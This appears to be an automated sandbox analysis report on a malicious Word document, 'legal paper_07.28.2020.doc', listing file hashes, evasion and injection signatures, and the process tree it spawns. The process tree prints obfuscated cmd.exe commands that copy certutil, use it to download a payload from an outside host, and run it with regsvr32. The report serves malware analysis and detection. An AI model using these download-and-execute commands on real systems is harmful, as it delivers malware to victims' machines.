Analysis
-
max time kernel
149s -
max time network
134s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
28-07-2020 19:12
Static task
static1
Behavioral task
behavioral1
Sample
legal paper_07.28.2020.doc
Resource
win7
Behavioral task
behavioral2
Sample
legal paper_07.28.2020.doc
Resource
win10v200722
General
-
Target
legal paper_07.28.2020.doc
-
Size
109KB
-
MD5
27e1c0980b1737357b041154ac43acd2
-
SHA1
686b652ec115e4ff259928b9b66cdbd4aaac7ce9
-
SHA256
8d75e83e570e8faba7bfaf17b7d836d35681cd45e0bcf5366e29381fefb04dc1
-
SHA512
f222fdf92eba821de1a8d6e809bc4846b5738b3195d7256f2214aaa3e479536804720befb8878318bc0462276b704a2f73a8b1a39aa1f4eb6c9e1dabcfe85195
Malware Config
Signatures
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious use of SetWindowsHookEx 19 IoCs
Processes:
WINWORD.EXEpid process 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3952 WINWORD.EXE 3952 WINWORD.EXE -
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.execmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1264 3952 cmd.exe WINWORD.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2184 3952 cmd.exe WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 3952 wrote to memory of 1264 3952 WINWORD.EXE cmd.exe PID 3952 wrote to memory of 1264 3952 WINWORD.EXE cmd.exe PID 3952 wrote to memory of 2184 3952 WINWORD.EXE cmd.exe PID 3952 wrote to memory of 2184 3952 WINWORD.EXE cmd.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 2184 cmd.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\legal paper_07.28.2020.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c set u=tutil&&call copy C:\Windows\System32\cer%u%.exe C:\ProgramData\1.exe2⤵
- Process spawned unexpected child process
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "set u=url&&call C:\ProgramData\1.exe /%u%^c^a^c^h^e^ /f^ http://apc846.com/bolb/jaent.php?l=liut2.cab C:\ProgramData\1.tmp && call regsvr32 C:\ProgramData\1.tmp"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.